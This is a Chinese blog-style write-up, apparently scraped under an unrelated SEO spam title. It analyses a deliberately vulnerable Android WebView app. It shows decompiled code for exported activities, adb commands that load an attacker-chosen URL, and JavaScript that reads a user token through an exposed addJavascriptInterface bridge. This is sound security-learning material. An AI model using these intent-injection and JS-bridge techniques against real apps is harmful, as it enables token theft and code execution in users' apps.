当前位置: 首页 > news >正文

网站备案证书怎么下载不了上海永灿网站建设

网站备案证书怎么下载不了,上海永灿网站建设,wordpress文章中外链,上海自贸区注册公司优惠政策这次分析的app如下#xff1a; 打开发现该app发现需要登录界面#xff1a; 拖进jadx看一下#xff0c;先来看一下AndroidManifest.xml文件 发现有两个类是导出#xff0c;再来分析这两个类 这个RegistrationWebView类利用webview.loadUrl进行加载网页 java public class…这次分析的app如下 打开发现该app发现需要登录界面 拖进jadx看一下先来看一下AndroidManifest.xml文件 发现有两个类是导出再来分析这两个类 这个RegistrationWebView类利用webview.loadUrl进行加载网页 java public class RegistrationWebView extends AppCompatActivity {/* JADX INFO: Access modifiers changed from: protected */Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activitypublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(C0816R.layout.activity_registration_web_view);setTitle(Registration page);loadWebView();}private void loadWebView() {WebView webView (WebView) findViewById(C0816R.C0819id.webview);webView.setWebChromeClient(new WebChromeClient() { // from class: com.tmh.vulnwebview.RegistrationWebView.1Override // android.webkit.WebChromeClientpublic boolean onConsoleMessage(ConsoleMessage consoleMessage) {Log.d(MyApplication, consoleMessage.message() -- From line consoleMessage.lineNumber() of consoleMessage.sourceId());return true;}});webView.setWebViewClient(new WebViewClient());webView.getSettings().setAllowUniversalAccessFromFileURLs(true);webView.getSettings().setJavaScriptEnabled(true);if (getIntent().getExtras().getBoolean(is_reg, false)) { //根据传入的Intent中的参数加载不同的URL。如果is_reg参数为true则加载本地资源registration.html否则加载从Intent中传入的URL。webView.loadUrl(file:///android_asset/registration.html);} else {webView.loadUrl(getIntent().getStringExtra(reg_url)); //可以恶意构造url}} } 因为这个类是导出的所以可以根据intent恶意构造reg_url,进行网页的加载这里可以使用adb命令进行intent的传递 adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url https://www.baidu.com adb shell am start -n命令用于通过ADBAndroid Debug Bridge启动一个应用程序组件如Activity、Service、BroadcastReceiver或ContentProvider。该命令需要提供要启动的组件的完整名称。 再看看app,可以发现页面已经被加载 我们也可以发现因为有了webView.getSettings().setJavaScriptEnabled(true)所以我们动态的加载js文件我们准备一段html文件 html  !DOCTYPE html html langen headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titleHello Page/title /head bodyscriptalert(hello); /script/body /html 然后通过 adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url file:///storage/emulated/0/MT2/hello.html 进行加载js代码这里可以改成恶意的js代码 我们接着来看另外一个类 代码如下 java package com.tmh.vulnwebview;import android.os.Bundle; import android.webkit.WebChromeClient; import android.webkit.WebView; import android.webkit.WebViewClient; import androidx.appcompat.app.AppCompatActivity; import java.util.HashMap; import java.util.Map; import java.util.UUID;/* loaded from: classes.dex */ public class SupportWebView extends AppCompatActivity {/* JADX INFO: Access modifiers changed from: protected */Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activitypublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(C0816R.layout.activity_support_web_view);setTitle(Support);loadWebView();}public void loadWebView() {WebView webView (WebView) findViewById(C0816R.C0819id.webview2);webView.setWebChromeClient(new WebChromeClient());webView.setWebViewClient(new WebViewClient());webView.getSettings().setJavaScriptEnabled(true);MapString, String extraHeaders new HashMap();extraHeaders.put(Authorization, getUserToken());webView.addJavascriptInterface(new WebAppInterface(this), Android); //允许js代码与android应用交互webView.loadUrl(getIntent().getStringExtra(support_url), extraHeaders);}public static String getUserToken() {String uuid UUID.randomUUID().toString();return uuid;} } 这里有一句 highlighter- haxe webView.addJavascriptInterface(new WebAppInterface(this), Android); 这个接口允许在 WebView 中执行 JavaScript 代码并与 Android 应用中的 Java 代码进行交互。 这个接口如果没有做足够的过滤是非常危险的我们可以编写js代码直接调用getUserToken方法js代码如下 html scriptdocument.write(token:Android.getUserToken()) /script 输入adb shell am start -n com.tmh.vulnwebview/.SupportWebView --es support_url file:storage/emulated/0/MT2/token.html效果如下
http://www.pierceye.com/news/130623/

相关文章:

  • 洛阳网站建设招聘信息ppt设计师兼职
  • 建工网官方网站电子商务网站设计岗位主要是
  • 保险网站建设平台青岛设计公司排名
  • 伊利网站建设评价做的最好的宠物网站
  • 沈阳的网站制作公司哪家好常用设计资源网站
  • 做网站需要什么技术文化传媒公司 网站备案
  • 郑州市建设厅网站html5 网站开发定制
  • 网站制作网站建站公司用wordpress
  • 做资讯网站盈利措美网站建设
  • 山东建设工程执业证书查询网站建网是什么
  • 大型服装网站建设wordpress留言板模版
  • 延安做网站沈阳学网站制作学校
  • 网站添加新闻网站免费正能量软件不良
  • asp c 网站开发互动网门户网站建设
  • 图书馆网站结构怎么做国外超酷设计网站
  • 网站开发软件搭配学室内设计去哪好
  • 南通营销网站制作河南省大型项目建设办公室网站
  • 黄山网站建设怎么做seo快速优化技术
  • 百度有做企业网站吗ppt设计主题怎么设置
  • 网页设计与网站开发pdf网站个人建设
  • ip138禁止查询该域名商务网站建设组成包括网站优化
  • 百度做网站续费费用seo分析工具有哪些
  • 威胁网站检测平台建设郑州seo服务
  • 怎么设立网站赚广告费合肥新站区有做网站的吗
  • 管理系统 网站模板网站建立不安全
  • 模板网站的域名是什么意思百度教育智能小程序
  • 哪里有做配音的兼职网站wordpress菜单图标特效
  • 怎样自创广告网站海南网站建设推广公司哪家好
  • 网站开发团队人员网站建设开票属于什么服务
  • 学做网站初入门教程上海网站建设 觉策动力